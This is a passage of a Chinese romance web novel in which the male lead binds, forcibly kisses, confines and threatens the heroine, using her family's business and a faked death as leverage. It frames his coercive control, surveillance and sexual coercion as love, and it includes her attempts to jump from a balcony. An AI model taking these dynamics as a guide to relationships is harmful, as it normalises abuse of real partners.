“今早就返航吧。回去之后要跟导师开会,改论文,还要写实习报告。下周还有这学年最后一场辩论赛要打,事情很多呢,不能再玩了。” “好。” 他应得爽快。 海上晨辉蔓延,游轮按既定航线返回港口。 邢屹接了个电话就出去了,孟纾语独自一人在船舱里吃早餐。 突然有人推门闪进来,是常嘉。 来不及反应,大小姐蹭一下坐到边上,眼里冒着正义的火。 “小语,请问你需要心理疏导吗?” 孟纾语刚在沙拉里戳了朵无花果干,没嚼完,这会儿鼓着一侧腮帮子,懵然回答:“好像不太需要,怎么啦?” “那你需要法律援助吗?” 她安静摇了摇头。 常嘉痛心疾首:“不,你一定需要。邢屹他真的有病啊,听说他让打手连夜把邢皓南捉过来,想开刀挖他的心脏再把人丢进海里,难道你不知道这回事吗?!你待在一个心狠手辣的疯子身边,难道不需要心理疏导和法律援助吗?” 孟纾语沉下心来,耐心解释完后续。 常嘉若有所思,叮嘱她:“要是真的 出事,一定一定要联系我,别自己硬抗。” 她认真点头。拿起一枚新的小叉子,给对方戳一块水果分享过去,“这个甜,好吃。”- 从海面返回陆地,一周过去,学院辩论赛如期举行。 人文学院学术大厅。 前来观赛的学弟学妹们鱼贯而入。 “快快快,我要看孟纾语和李时然打配合。他俩太有默契了。” “哈哈,你也嗑他们啊?” “嗑啊,cp名我都想好了,就叫海时山孟。” “有点土土的。但我喜欢!” 开场前十分钟,观众席已经坐满。 孟纾语坐在台上右侧的辩手席里,翻阅队友递来的纸质资料,配合队伍做好万全准备。 李时然挨着她坐,主动帮她拧开一瓶矿泉水,小心翼翼递过来。 “要先喝一点水吗?” “啊?谢谢。”她注意力全在资料上,分心接过水瓶,喝了一口。 浑然不觉,观众席角落有一道幽深视线,如有实质,穿透全场专注沉静的空气,直直落在她身上。 在她从李时然手里接过矿泉水时,那道目光悄然变了味道。 沉郁而锐利。 几乎是刺过来。 主持人按流程走完过场,轮到两队辩手自我介绍。 麦克风从李时然手里递过来,孟纾语起身发言:“老师同学们下午好。我是反方二辩,大四哲学系,孟——” 话音未落,跟远处观众席的男人撞上视线。 邢屹早就远离校园生活,此刻好整以暇混在一团单纯学生气里,显然有种格格不入的锋利感。 他坐在阶梯席最后一排,面无表情看着台上,视线始终居高临下地垂着。 黑色冲锋衣拉链直接拉到顶,小小一枚金属链头反射大厅顶光,遥遥刺进她眼底。 她卡壳两秒,快速补完自我介绍,匆匆把麦克风传给队友,低头坐下。 台下窃窃私语。 “诶?她好像有点紧张?” “我靠,别说了,我身边坐的是上一届的邢屹,我才真的紧张。” “啧,真搞不懂你们女孩子的少女心,不就是个男人吗,这有啥好紧张的。” “不是女生当然不懂女生。你知道顶级Alpha的信息素吗?就是那种,稍微释放一点点就能迷倒一片,让人心慌腿软,心向往之的那种烈性气息。” “?我的姐,你到底看了多少小说啊。” “你管我呢。” “诶,说来奇怪,他好像是孟纾语的前男友?” “哇,前男友专程来看前女友的校园辩论赛,这是破镜重圆梗。” “” 时间到,台上的电子大屏开始投映论题。 「作家塞林格曾写道,爱是想要触碰却又收回的手。可是也有另一种爱情观,认为爱是浓烈偏执的占有,只有能让人切身感受到的爱,才算是真正的爱。」 正方:爱是克制,反方:爱是放肆。 两队同时抽签,孟纾语队伍抽到正方。 爱是克制。 这跟她自身坚持的观点不谋而合。 于是得心应手,日常思维运用到比赛上来,全程反驳得有理有据,跟队友配合得十分出彩。 算是运气加持,两小时后,比赛结束,正方队伍获胜。 台上热烈颁奖时,台下人各做各的事。 来蹭相关学分的学生挪挪屁股想立刻走人,剩下一大半是专程来观赛的学生,一拨人聊得火热。 “这一场赢得易如反掌啊,不愧是我支持的队伍。” “主要是正方一辩和二辩配合得太好了,默契十足。他俩是情侣吗?看着挺配呢。” “是吧,你也觉得很配吧,海时山孟是真的。” “我以前觉得她和上一届的邢屹很配,但现在看看,她跟李时然站在一起也很有cp感嘛。” “嗐,前男友什么的都是过去式了,拜拜就拜拜,下一个更乖,李时然温柔又聪明,谈起来不是也很香吗?” 邢屹浑然不动地坐在原位。 左右一群学弟学妹交头接耳,叽叽喳喳,话语声绕在他耳边。 他无动于衷,始终看着台上的身影,在她对李时然微笑时,在她侧耳倾听李时然讲话时,邢屹拿起手机,边角漫不经心点了点腿面。 台上已经颁完奖,主持人按最后一道流程总结今晚战况。 还没到散场时间,评委和观众都规规矩矩坐着。 领完奖的辩手各自坐回席位,孟纾语刚坐下,放在桌屉里的手机倏然一亮。 邢屹:[现在,过来亲我。] “?” 她后背一凉,飞快打字:[你疯了,老师同学们全都在场,你要我现在到观众席亲你,我有病吗?] 邢屹:[不愿意?] [不愿意!] 消息发过去,对面就没有再回。 她心有余悸,放下手机抬眸寻找,只见一道漆黑凌厉的身影一晃而过,转眼就从后门离开。 李时然歪头看她:“怎么啦?” “没什么。” “噢,还以为你心情不好。对了,听说你搬进新的公寓了,还蛮远的,一会儿我送你回去吧。” “不用了,我自己回去就好。” 散场时间一到,孟纾语立刻拎包走人。 本想先到附近的公园散散心,不料半路收到导师的消息。论文有几个段落需要修改,最好尽早改完,晚上要开一个线上会议。 电脑放在公寓,她只能快速赶回去。 输完密码,滴一声,她推门而入。 身心有些疲惫,从进门那一刻起就不太设防。 正要转身关门,突然被一股猛力擒住胳膊反剪在身后,她手足无措,邢屹拿皮带绑住她手腕,用力把她摁在门上。 砰一声,惊心动魄。她浑身紧绷,心跳到嗓子眼:“你到底要干嘛!” 邢屹掐着她后颈,冷嗤一声:“看来你软的不吃,就是喜欢吃硬的。” 50-60 第51章 冷脸洗内裤 孟纾语使出浑身力气反抗,却抵不过他一只手的压制。 无力感兜头而下,她侧脸紧贴着门板,一动不动地低喘着:“我现在不想看见你,你出去,别再闯进来吓唬我。” “什么叫闯,这不是我们的家么。常回家看看也有错?” 邢屹勾着她的腰把她往后一带,后背撞进他怀里,她下意识拧动腰身,可惜力量悬殊,再怎么挣扎都无济于事,长发摩挲他衬衫衣料,声响细碎而露骨。 邢屹抱着她,低头嗅她发间的香气,另手的手指在身下勾她的掌心。 她咬咬牙,扯动被皮带束缚的手腕。 挣扎出酸麻痛感。 “你混蛋!” 他反咬一口:“你更混蛋。” “是你混蛋!当着那么多人的面,你要我跑到台下亲你,是你疯了还是我疯了?要是我对你言听计从,那一定是我疯了。” 下意识的控诉,却撩起他压抑已久的火。 孟纾语不顾一切挣扎,依旧躲不开他。 两人相拥撞到玄关立柜,声响凌乱,她突然被他抱起来坐到柜子上,并拢的双腿被他强行掰开。 邢屹盯着她,两手分开掌控她膝盖,她退无可退,后背抵着墙,双腿卡着他腰身。 他几乎嵌在她身前。 她匆忙别过脸,邢屹掐着她下颌用力掰正。 目光纠缠,被他眼底的怒意烫到心慌。 他一贯的盛气凌人,迫使她夹紧他的腰,坚硬胯骨磨着她腿根。 仿佛要给她留下擦不清洗不净的印记。 她羞恼而无力,双腿越紧张就缠得越牢固。 邢屹低头靠近她嘴唇,气息要吻不吻地游离着。 “我离开两年,你跟别的男人连cp名号都有了。我是不是该祝贺一下?” 什么? 想起来了,什么海誓山盟。 可是人家在课余时间找寻出的乐趣,她也没权利剥夺啊。 心累。 “那是别人起的名字,别人高兴,我有什么办法?” “我不高兴。” 眼看就要吻过来,她立刻撇过头 。 “那你就不高兴吧,反正你每天都不高兴,不高兴不高兴,你就改名叫不高兴好了。” 邢屹无动于衷,就着这个姿势偏额吻她。 喘息急躁,舌头直驱而入,撬开她脆弱防线,在她湿热口腔里勾缠舔/弄,她双手被绑着,连推他的机会都没有,只能来回摆动脑袋躲闪,口红凌乱不堪沾到他嘴角,他舌尖舔去,咽下,继续吮吻她肿红的唇。 直到她用力一咬。 邢屹退一点距离,不动声色舔着唇上的血珠,幽戾眼神盯着她。 她也尝到一点甜腥味,此刻担惊受怕,开口竟有一丝抽噎感。 “我讨厌你。” 他眯了眯眼,目光嘲弄。 “讨厌我,可是每次都吃得很紧。” 脸颊蹭地烫起来。 她忍辱负重怔了片刻,强行镇定下来。 “每次吗?好,那你就继续活在曾经的每一次里吧,以后什么也没有了。” 似是没料到她会说这种话,邢屹蓦地静下来,喉结隐隐颤动。 她有种想哭的冲动。 逼自己忍住。 “混蛋。你难道不知道我每次都在顺着你吗。半年又半年,我给你那么多耐心,你全都浪费掉了。” 一想到自己最近要应付他,还要应付学业上的繁琐,她就心力交瘁。 “我每天要看那么多文献,想那些莫须有的创新点,还要被导师批,批完又要老老实实去改,已经很头疼了,你还要三天两头欺负我。” 越说声音越弱。 邢屹冷涔涔挪开视线,突然解开她手腕的束缚,兀自走到一旁。 她怔怔动了动双手,抚摸腕上的红痕。 再一抬眼,落地窗两侧紧闭的通风口全都被他推开。 城市霓虹初上,车水马龙的喧嚣漫上来,玻璃倒映他沉静脸庞。 邢屹若无其事,背对着她点了根烟。 她零碎的委屈,他顺着过肺的烟雾一笔带过:“帮你写你又不乐意。” 孟纾语望着他不可一世的背影,喉咙突然哽了一下。 “你到底有没有心,这是你帮我写篇论文就能解决的吗。” “你知不知道我有多喜欢你。” 烟将将递到唇边,邢屹罕见地懵了一下。 很快又恢复平静,烟雾蔓延。 “喜欢我?喜欢我,就是在我离开的两年,你说你一个人过得很快乐。” 那天的通话,果然被他听到了。 是实话。 所以她没有辩驳的借口。 邢屹自顾自抽着烟,倨傲又自嘲:“哪怕我出现在你面前,你也从不问我这两年过得好不好。” 他什么都不缺,他会过得不好吗? 孟纾语擦去眼角一点清泪,心底抽了一下。 “我问过了,是你自己不跟我说。” “你问过我什么?” “我问你手臂的伤是怎么弄的,你告诉我了吗?” 他轻笑了声。 “难道我要告诉你,我刚到纽约就被抢劫,包里手机护照全被抢了我一个都没要,就为了一个u盘追小偷三个街区,把他打到半死不活还被他划了一刀。你高兴吗?” u盘。 她愣了下。 心头仿佛被人攫住,牵出细密的疼。 “你掏垃圾桶了?” 邢屹望着远处闪烁的车流,顺着呼吸沉出一团灰白烟雾,不屑地说:“林泽掏的。” 不知道他有没有骗人。 反正她信了。 “你又使唤人家!” “拿钱办事天经地义。倒是你,路过的阿猫阿狗都要心疼一下,唯独对我又是讨厌又是怕,现在为了讨好我不让我不生气,就骗我说你喜欢我。”他嗤笑一声,“我还能栽在你一句谎话上?” 不喜欢,喜欢,哪样他都不信。 孟纾语安静许久,一层浅泪在眼眶里打转。 “我要是不喜欢你,我不会刚成年就同意跟你上床。我要是不喜欢你,我没必要怕你心情不好,大晚上去你玩赛车的地方找你,即便到了附近我也不敢乱跑,我怕你找不到我,更怕我自己找不到你。那天那么冷,我在山下蹲得腿都麻了。我不像你,你什么都不怕,但我最怕冷,最怕黑。” “你回国那天来澜帆开会,我看不见电梯里的人是谁,但你开口说一句话,我就知道是你。” “你监视我两年,被我发现了还装作若无其事。我只想要你一个道歉,可是你一句对不起都没跟我说,还买了一只小狗来骗我。要是不喜欢你,我不会在我最委屈的时候原谅你。” “你弄在里面那次,碰巧我生理期延后了,很害怕,所以才买了验孕棒。在那之前我一点也没怀疑过你,事后我连避孕药都没有吃。因为我喜欢你,我相信你真的打了避孕针,相信你不会在这种事上伤害我。” “你故意设陷阱,让我爸知道我们的关系,甚至旁敲侧击让我爸支持我们结婚。这件事,我没有对你发脾气。一是因为我性格就这样,没什么脾气,二是我知道你没有安全感,所以才用这种方式逼我,想让我一直留在你身边。” “我理解你,我对你有耐心。你在看心理医生,我知道,我猜你总有一天会慢慢变好的。” “但你好像真的没有心,这些事情你都感受不到。” “还有,其实我一点也不喜欢那套黑色蕾丝。” 她低下头,眼泪哗一下涌出来,簌簌落落滴在她腿上。 她声音微弱,止不住地颤抖,“我不喜欢,我一点也不喜欢” 邢屹始终用背影对着她,烟夹在指间,燃了一大半,烟灰扑闪落下,零零散散碎成一滩。 他只揪着一件事。 “你没有陪我去纽约。” 当时确实是她犹豫,是她失约。 可是她没办法。 “那段时间我经常做噩梦。梦见你把我关在国外的房子里,每天监视我。” 孟纾语抬头,看着眼前冷静而沉郁的身影。 “是你能做出来的事,不是吗?毕竟我跟异性说个话你都受不了,我并不指望你有多宽容。只是下一次,你不要再用撞车这种事来威胁别人了,别人也很无辜。” 邢屹纹丝不动,嘲弄地笑了声。 “孟纾语,你总是为别的男人说话。到底谁才是你男朋友。” “我没有男朋友。”她坚决果断地说,“我们早就分手了。” 邢屹安静几秒。 “没分。” “分了!” 分了就是分了。她用力擦干眼泪,起身往客厅走。 悉悉索索整理好充电器,把桌上的笔记本电脑塞进手提包里。 带好东西,毅然决然打开了门。 下一秒,几个高大的黑衣短寸闯入视线。 她瞳孔瑟缩,往后退了一步。 几名受雇的打手伫立在走廊上,见她愣在原地,纷纷转过来看她,顶着千篇一律的扑克脸,恭敬地对她点了点头。 她浑身麻木,手里的东西啪一声掉落在地。 邢屹掐灭了烟,不疾不徐走过来。 帮她关上门。 眼前道路再一次泯灭。 邢屹从身后抱着她,下巴搭在她发顶。 落一记吻。 “想去哪,我让他们送你去。” 孟纾语紧攥着衣角。 恨不得现在就给他来一巴掌。 “我不需要!” “你不需要,跟我给予你,是两码事。”他沉声说,“如果是之前,我会陪你玩一玩猫捉老鼠的游戏。但现在玩不了,我没那个闲心。以免你又稀里糊涂跑到荒郊野岭,在你学乖之前,他们会守在你身边,寸步不离。” 霎那间,所有的血涌向心头,她深呼吸,转过身恨恨抬手。 一巴掌滞在半空。 邢屹迎着她的动作轻轻握住她手腕,把她的掌心往他脸颊上贴。 “要打吗?” 他饶有兴味,慵懒目光注视她。 她有力无处使,手指不停颤抖。 “用香水了。”他偏额,轻轻嗅她手腕的香气,牵起嘴角判断说,“好像是我送的那一瓶。” 孟纾语瞳孔一震,用力 抽回手。 邢屹气定神闲,拾起她掉落的手提包,帮她拍了拍肉眼难见的灰尘。 她紧紧攥拳,后知后觉,指根有冰冷的异物感。 是戒指。 她一鼓作气摘下来,扔到地上。 戒指弹落到两米之外。 最终也被他拾起。 天色已经彻底暗下来。 两人之间没有一丝歇斯底里,就这样各自摊牌。 邢屹把戒指戴回她手上。 尽管她不愿意,他也硬生生把它嵌到底。 细瘦白皙的无名指红了一片。 他低垂视线,指腹轻轻给她揉着。 仿佛两人还是刚刚认识的状态,仿佛他所做的,只是一场讨她欢心的表白仪式。 她体内的羞恼与恐惧泛滥成灾,邢屹却平心静气,对她说:“我特别喜欢刚才,你把心事全部摊开给我看的样子。以后也这样,懂了吗,心里想什么就表达什么,喜欢就承认,讨厌就骂出来,想要什么也跟我说。我们都坦诚相待,谁也别隐瞒。” 说着,他一手伸进她口袋,拿出她的手机。 成功解锁。 李时然给她发了消息,问她到家没。 邢屹没有删他也没有拉黑,径直按下语音键,拿起手机靠近唇边说:“她在洗澡。” 孟纾语震惊抬眸,语音已经发送。 邢屹在她的聊天列表里翻翻找找。 发现她跟常嘉的聊天记录。 消息停在对方最后一句:[要是邢屹欺负你,一定要跟我说啊!我会帮你的] 他眼神暗下来,随后牵过她的手,把手机塞进她麻木的掌心。 “跟她说,你愿意一直陪在我身边,无论我是好还是坏。” 孟纾语僵在原地。 “不说吗?”邢屹摸摸她泪湿的脸颊,“你家里的商铺,最近生意很好,孟叔心情很不错。你想看他难过吗?” 家人是她最致命的弱点。 她无奈到压抑,红着眼眶盯住他。 “你真不是东西。” 邢屹对此毫不在意。 “你不是很早就知道了?我没必要跟你装。”他又笑了笑,“而且你骂起人来,比你乖的时候更有意思。” 被他以软肋威胁,他要求的,她都只能照做。 最后一条退路,被他斩断。 邢屹若无其事,帮她把手机放回口袋。 摸着她脸颊问:“今晚想吃什么?” 她拍开他的手。 “什么都不想吃。” “跟我闹绝食?”他冷哼一声,“不吃你这套。” 转头就打电话给林泽,遵照她的喜好,报了几个菜名。 离开公寓,被他塞进车后排。 车里的气氛压抑沉寂,孟纾语全程不说话,小腹隐隐作痛。 冷汗顺着额角滑落,不知是疼出来的,还是因为害怕。 邢屹也不出声,自顾拿平板处理工作。 笔头在屏幕上时而滑动时而轻点,每一声都敲在她凌乱的心跳上。 直到车子停下来。 这里没来过。是他名下另一幢别墅,毗邻二环。 如果她想离开,四面八方都是通衢大道。 可是她根本走不了。或许在他的计划里,把她软禁,就能让她离不开他,最后重新爱上他。 邢屹开门下车,见她低垂着脑袋丝毫未动,他烦躁地关上车门,从另一边绕过来,打开车门。 “下来。” 她紧紧并着膝盖,拱着肩膀捂住小腹。 赌气似的一声不吭,对他冷静的催促置若罔闻,只顾深呼吸。 邢屹只当她在闹脾气,黑着脸把她打横抱出去。 放下来,她疼得没站稳,一股脑撞进他怀里,他及时扶住。 嗓音莫名有点焦躁:“到底怎么了?” 她闭眼吞咽一下,揪住他大衣前的纽扣,手指在颤。 路灯光线漫入后排,她刚刚坐过的位置落了一小滩血渍。 来例假,痛经。 孟纾语知道自己弄脏座椅,声线虚浮地说:“对不起。” 邢屹莫名哑然,不知是生气还是担心,只见他烦躁地皱起眉头,立刻把她抱起来。 回到卧室,他亲自给她换一身衣服。 纯白内裤从她足踝滑落而下,到了他手里。 换好睡衣,她有点别扭地并拢膝盖,靠在床头默不作声。 一小块布料,沾了血。 邢屹面无表情看一眼,揉在掌心攥了攥,准备扔到垃圾桶。 也不是嫌弃她,只是在他认知里,脏了就扔了再买。 “别扔。”她叫住他,抱着膝盖嗫嚅,“新买的,我还要的。” 邢屹都走到门口了,回身冷飕飕扫她一眼。 似乎想数落两句,但最后什么也没说,径直出去了。 她心想算了,扔了就扔了吧。 保姆给她送来一杯热水和止疼药,她及时服下。 药劲一上来就浑身无力,她意识放空,就这么睡了会儿 醒来已经不怎么疼,她看了看空杯子,打算自己出去接杯热水。 经过走廊,隐约听见水声。 从浴室传来的。 她小心翼翼,把门推开一条缝。 只见邢屹身形笔挺地站在水池前,神情冷淡,双手搓洗她沾血的内裤。 第52章 巴掌清脆利落 孟纾语滞在门外。 以为他早就把内裤扔了,没想到他会耐心帮她洗。 帮忙手洗内裤是一件很小的家务事,但放在邢屹身上,实在不可思议。 光是那滩血渍就挑战了他多年的洁癖。 她看着那双指节修长的手浸在水里,意识短暂空白。 缓缓抬眼,邢屹正好侧头看过来,眼里的冷清一成未变,似乎早就觉察她的存在。 气氛僵凝,孟纾语推门进去,颤睫避开他视线,“我自己晾吧。”从他手里接过一小块半湿的布料,用背影说,“谢谢。” 客气又冷淡。 对陌生人说话才用这种语气。 听起来甚至像在说,‘邢屹,无论你怎么做,我都不会重新爱上你了。’ 邢屹站在原地关停水阀,两手撑住水池边缘。 衬衫衣袖挽折至小臂,袖口不知何时被水沾湿,细密水珠顺着青筋纹路滑落。 他低着头一言不发。 直到她走到门口。 “孟纾语。” 他叫住她。 “你到底要我怎么做。” 孟纾语应声止步。 顿了顿,低垂眼睫看着地面。 “从认识你开始,我好像就没有对你提要求的资格。一直都没有。” 而且改变一个人,比登天还难。 “你就做你自己吧。”她抿抿唇,补一句说,“如果可以的话,不要离我太近。我只有这一个请求。” 说完就离开浴室。 她不太熟悉这套房子的构造,于是随便进房间找了个阳台,把衣服晾上去。 几秒后,身后的阳台门被推开。 脚步声停在不远处。 听见他倚靠门框的声音。 幽邃目光如有实质,刺过一团沉寂的冷空气,穿透她后背。 她心跳沉闷,晾完衣服转过身,邢屹抄着兜信步往前。 她被逼退至围栏角落。 夜色浓重,头顶一盏暖灯高悬,他黑沉沉的影子罩在她身上,密不透风。 她紧攥衣角,始终避开他阴恻恻的视线。 邢屹偏额打量她,牵起嘴角笑了下,嗓音含谑:“怕我?” 孟纾语低着头,寒风从她后颈灌入。 脊背一凉。 “你离我远一点。” “要是我说不呢。” 他又向前一步。 她踉跄一记,后腰撞到围栏,肌肤隔着衣料碾着细致的雕花纹路,双手下意识扶上去,一片冰凉。 从二楼跳下去,至少骨折。 她没那么傻。 邢屹顺势低下肩膀,分开两条手臂撑在她身后的围栏上,虚虚实实将她圈牢。 清冽气息无孔不入,侵略她,占据她。 他微阖着眼,幽灼目光在她唇上逡巡。 忽然轻柔开口。 “小语。” 她心一紧。 “别这么叫我。” “那该怎么叫?” 他靠近一寸,膝盖突然抵开她并拢的双腿。 她浑身一僵,试图抵抗的双手被他单手攥牢。 他闲闲偏过头,浑沉气音迎上她泛红的耳垂:“你想听什么。宝贝,宝宝?” 她咬牙推开他。 “都不要。” “那你要什么?” 她鼓足勇气说:“要你彻底放过我。” “为什么要放过你。”他波澜不惊,“你有权利离开我吗。” 轻飘飘的语气,却像碎石一样砸在她心上。 此刻更想逃离。 她抬头盯着他,恨不得他现在就消失。 “我总有一天会离开你,因为你根本学不会正常人的爱。” 邢屹自上而下打量她。灌进她后背的寒风不及他眼神刺骨。 “少跟我谈什么正常的爱。你可以觉得我根本不爱你,从始至终都在占有你。怎么想都无所谓,想怎么闹就怎么闹。但你不可能离得开我。” “凭什么!” “就凭你是我的。” “不是!” 她下意识往后退。 其实已经没有空间,围栏上的雕花纹路硌得她好疼。 邢屹圈着她的腰把她往前一带,呼吸撞进他胸膛,她触电一样用力推开,霎那间几乎想使出浑身解数顶撞他,掐挠他,把他弄得面目全非,让他再也没有手段控制她为止。 可是她依旧在他掌控之中,他稍微一抬手就能掐住她下颌,她只能仰起头,双眸含泪,而他居高临下,眼底没有一丝宽容和怜悯。 他拇指贴着她嘴角轻轻划过,微凉指腹摩挲她颤抖的唇。 “孟纾语,你出息了,越来越倔。以前那个听话的小语去哪了?” 她鼻梁一酸。 “不是我听话,而是你一直在骗我。” 他不着痕迹地笑:“你以前确实好骗,一首曲子就能骗你跟我接吻。说实话,你对母亲的感情我理解不了,也同情不了,我安慰你的那些话,连我自己都不信。” 她错愕几秒,仿佛被人推了一把,跌落悬崖。 假的,那些难以忘怀的温柔,居然都是假的。 “你混蛋” “我没说我不是。” 邢屹就着她被迫仰头的姿势,虎口卡着她下颌慢慢往上移。 直到她仰到最大限度,像条缺氧的小鱼在他掌心里艰难换气,红晕顺着眼尾蔓延,泪水不受控地滑落,沾湿她耳边发丝,他才慢慢收拢五指,掐住她脖子。 明明不疼,却有种濒临窒息的错觉。 邢屹并没有像以前一样为她擦去眼泪,而是任凭它流下,直到她自己控制住为止。 可是她控制不住,一边哭一边骂他。 他照单全收,甚至借机戏谑。 “骂我混蛋,不还是要跟我睡,每次都爽到——” “你闭嘴!” 她抬手一扇。 巴掌声清脆利落,盖过他轻慢的尾音。 动静一闹,守在院子外的保镖齐刷刷回头。 望见阳台这一幕,底下的人个个表情诧异,欲言又止。 孟纾语用另一手握住自己颤抖的手腕,后知后觉,掌心疼得发麻。 她打他了。 当着他下属的面。 邢屹微偏过头,脸颊泛起被她扇过的痕迹。 一束暖光打下来,红痕格外显眼。 他顶着腮帮子动了动,抬手,食指指背贴一记嘴角,又拿开,垂眸看去,一丁点鲜红血渍沾在他曲起的指节上。 出乎想象的力道。 他笑了下。 “有仇必报,可以啊孟纾语,把你教会了,你越来越像我了。” 孟纾语闷头推开他,神经病,谁要像你! 人在生气恐惧的时候会丢失理智,她突然转身踩上围栏,视野顿时开阔,眼看要顺着重力往下坠,邢屹猛然揽住她的腰往回一扯,两人双双跌落在地,声响凌乱。 “是不是疯了!”他气得吼她。 她摔进他怀里,后背贴着他蓬勃心跳,他手臂还圈着她的腰,力道越收越紧,勒得她喘不过气。 朋友说得对,凭什么她要一昧乖巧,一昧反思。 他会发疯,她就不会吗。 可是邢屹很快冷静下来,仿佛压根不吃她这套,松开手臂把她往前一推。 “想跳是吧,跳。跳成植物人,到时你想走都走不了,只能躺在床上被我折腾一辈子。” 孟纾语埋头抹泪,狠狠心,跌跌撞撞一个起身,转头又要踩上围栏。 “孟纾语!” 邢屹连喘带骂,眼疾手快又把她扯回去,不管她怎么反抗,这回直接掐着她的腰把她甩到肩上扛走。 天旋地转,她眼泪掉了一路,一半都沾在他后背上。 回到卧室,她被他扔到床上,邢屹扯起被子裹裹裹,把她裹成一个球。 刚才在阳台上硬生生挨冻,她冷得直打颤。 一会儿还要跟导师开线上会议,可是她一点都静不下心。 没辙,只能强行调整好状态,擦擦眼泪,伸手拿床头柜的电脑。 还没拿到,只见邢屹气汹汹拖了张椅子坐在床边,二话不说夺过她的笔记本电脑放在腿上。 打开,冷荧荧的光映着他凌厉眉眼,他专注看着屏幕,指尖敲敲按按。 帮她把论文里带修改批注的地方全都改了。 跟她目前的思路没有太大差异,但是更细致,更通顺。 于是她顺利开完线上会议。 导师还挺满意。 “可以,逻辑理顺了,接着往下写吧。” 她如释重负。 关闭电脑,邢屹已经不在卧室。 去了隔壁书房。 书案旁亮一盏落地灯,烟灰缸里积了数枚烟头。 说好要戒,心情一差又开始抽得很凶。 他夹着烟的手撑住额头,烟雾围绕着漆黑鬓角浮沉散逸,手里一份纸质文件,翻来翻去还是停在第一页。 密密麻麻的字眼,被烟雾染成虚幻,化作她的笔迹。 邢屹,我不再爱你了。 邢屹,我不再爱你了。 邢屹,我不再爱你了 ——啪! 文件被邢屹一记猛力倒扣,死鱼一样牢牢贴在桌上。 他靠着椅背看向天花板,喉结轻微涌动,下颌笼着一层暖光,在锁骨中间投下一片淡影。 表情莫名烦躁,半晌,他拧着眉心闭上眼,手臂搭在座椅扶手上,指间香烟燃了一半,烟灰簌簌掉落。 他直接掐了。 拿起手机,打个电话给林泽。 “明早叫人来封阳台。” 林泽没敢问为什么,直接应下来。 电话挂断,暗下来的手机屏幕倒映他脸颊掌印。 他把手机往桌上一甩,起身,下楼找了个冰袋 凌晨。 卧室一片昏暗,孟纾语把门反锁了三道。 蜷进被子里,本想先平安度过今晚,好好睡一觉。可是心乱如麻,翻来覆去睡不着。 她静下来侧躺,一直看着门口的方向。 终于,门锁被拧动。 她心头一颤,急忙闭上眼。 装睡。 脚步声越来越近。 一阵淡香从床尾绕过,随后慢悠悠飘过来。 身后有下陷的重量感。 被子被掀开,男人径直躺到身旁,热烘烘的温度席卷而来。 她装睡装到底,窝在床边一动不动。 屏息凝神间,身体被抱住。他手臂搂着她的腰,把她往怀里拖了拖。 全方位的包裹,他下巴搭在她发顶,呼吸落下来,很轻很淡。 她心一横,决定把他撵下去。 于是装作睡着时无意识的身体拧动,胳膊肘往后顶了顶。 邢屹纹丝不动。 就这么僵持着。 其实早被他看出来了。 “打算装多久?” “” 邢屹平静异常,宽热手掌伸进她衣摆,轻轻按在她小腹位置。 “再敢动一下,明天这世上就没有孟纾语的存在。” 他会给她开一张虚假的死亡证明,办一场风光葬礼。 孟纾语从此消失。 继续存在的,只有小语。他温柔又鲜活的小语。 “还动吗。”他轻声问。 孟纾语攥紧枕头边角,咬牙不语。 一滴无助的泪水滑落眼角,她鼻梁酸胀,压制着呼吸节奏小声抽噎一下。 邢屹直接伸手给她擦掉眼泪,有点没轻没重,指腹磨得她眼角泛疼。 “又哭。”他莫名冷淡地说,“哭也改变不了事实。你这辈子都离不 开我。” 一辈子都是他的。 承受他骨血里的偏执,承受他病态的爱欲,永远被他占有,被他套牢 孟纾语彻夜未眠。 脑海里的画面断断续续。 上锁的房间,密布的摄像头,金属手铐,黑色长鞭,凌乱颠倒的日夜,体温,吻痕,黏稠液体 分不清是曾经做的噩梦,还是未来即将发生的,被她预料到了。 心跳时快时慢,她心头的恐惧无处抒发,进退两难,眼前是一团漆黑,身后是他燥热的胸膛。 其实他睡觉习惯裸睡,跟她在一起之后,睡觉时才勉强穿一套居家服。 今晚不知是穷得没衣服穿了还是他懒得穿,全身上下只套了一条长裤,上半身是裸的。 她稍微动一下,胳膊肘就会碰到他裸。露的肌肉。 她不想碰,于是故意不动。 可是两人保持这个背后抱的姿势已经很久了。 她再不翻身,手脚就要麻成花椒了。 不知他睡着没有,她纠结片刻,一鼓作气翻过身。 邢屹立刻收紧手臂,把她往怀里一摁。 呼吸被他硬。挺的胸肌闷得无处换氧,她又羞又恼,气得掐他打他:“喂!放开啊,我要呼吸!” 邢屹根本不管。 就这么睡。 憋了一晚。 孟纾语只好重新翻过身,背对着他。 清晨好不容易有了点困意,又被身后的男人弄醒。 她默默挪开一点距离。 又被邢屹拖进怀里。 她闷声抗议:“你那个硌到我了。” “嗯。” 他恬不知耻。 “我故意的。” 第53章 谁想嫁给你这样的败类 混蛋,太让人来气了。 孟纾语直接翻身,兔子蹬腿一样踹了他一脚。 不知道踹到哪,忽然听见他隐忍的闷喘。 闯大祸报大仇,内心惊恐又舒畅,她毅然决然掀开被子,迅速逃离下床。 还没站稳,突然被他勾着胯骨拖回去,动作快得她手足无措。 “放开!” 力量悬殊,她像颗打滑的玻璃球,晕晕乎乎跌进他怀里,后背撞到他胸膛,硬得要命,她肩胛骨快被震碎了。 下意识挺起腰身挣扎,恨不得骂他八百句,“混蛋邢屹,你给我放开!” 一条结实手臂横在她腰上,顺带把她手臂也束在其中,她动了几下就累得喘气,烫红的耳垂突然被身后男人咬住:“在求谁?你前男友还是你未婚夫?” 混蛋,被踹了一记他居然还能这么盛气凌人,弄得她心慌意乱。 被他气得口不择言:“我前男友已经死了,我也没有未婚夫!” 她拧着腰身朝后乱撞,听见他倒吸一口凉气,她趁机逃脱,不料再次被擒,他肩膀稍稍内收就能完全裹住她。 她成了容器里的软浆,再怎么挣扎也只是为容器增添一层滚烫黏稠。 耳边缠着他的呼吸,粗重喘息里尽是难以发泄的怒火。邢屹显然被她气到,沉嗓飙了句脏,狠狠拧一把她大腿根:“要我命是吧。” 她立刻并拢双腿,被他拧过的地方又酸又麻,后知后觉又有点疼,差点害她哭出来。 邢屹控住她乱动的手,抓过去往下一压。 “向受害者道歉。” 她用力抽回手。 “不要!” 孟纾语奋力抗争,邢屹一个翻身压住她,死死掐着她下颌:“嘴没用了是吧。” 说完就覆下来强吻,舌头闯进来纠缠惩戒,在她湿热口腔里疯狂扫荡,两人的鼻尖相互撞着,她艰难喘气,溢出几声零碎呜咽,像求饶又像宁死不屈。 邢屹置若罔闻,一边喘息一边深入浅出地索吻,管她是委屈还是羞恼,他照亲不误,吻得越来越凶。 